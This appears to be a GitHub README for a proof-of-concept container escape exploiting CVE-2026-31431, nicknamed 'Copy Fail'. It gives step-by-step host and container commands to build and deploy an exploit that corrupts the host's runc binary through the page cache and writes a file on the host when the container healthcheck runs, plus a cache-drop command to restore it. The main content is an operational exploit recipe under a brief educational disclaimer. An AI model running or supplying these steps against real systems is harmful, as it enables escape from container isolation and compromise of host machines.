CVE-2026-31431-Copy-Fail-Container-Escape

Demo

https://github.com/user-attachments/assets/2cb0cb67-789a-4461-a0b8-1fe878d9426e

Prerequisite

• Container vulnerable to CVE-2026-31431
• Container healthcheck configured and healthcheck CMD known
• Obtained root access inside the container (if not, you can just use Copy Fail to get one)

In this repository, docker-compose.yml is provided to set up a vulnerable container. You may also use any other vulnerable container or set up your own, but remember to change the exploit code accordingly.

Steps-to-exploit

# On host machine
rm -r copy-fail-c /tmp/pwned
docker-compose up -d
git clone https://github.com/tgies/copy-fail-c.git
cp payload.c copy-fail-c/
cd copy-fail-c && make && cp exploit ../ && cd ..
docker cp exp.sh copyfail:/tmp/
docker cp exploit copyfail:/tmp/
docker exec -it copyfail /bin/sh

# Inside copyfail container
cd /tmp
chmod +x exp.sh exploit
./exp.sh

# Wait a few minutes for the healthcheck to run
# and check if /tmp/pwned is created on host

# On host machine
ls /tmp/pwned

Once the exploit succeeds, the pagecache of runc binary on the host machine gets corrupted. You can restore it by running echo 3 | sudo tee /proc/sys/vm/drop_caches on host.

Credits

• https://copy.fail/
• https://github.com/tgies/copy-fail-c

Disclaimer

This repository is for educational purposes only. It should not be used for any malicious activities. The author is not responsible for any damage caused by the misuse of this code. Always use it in a controlled and legal environment.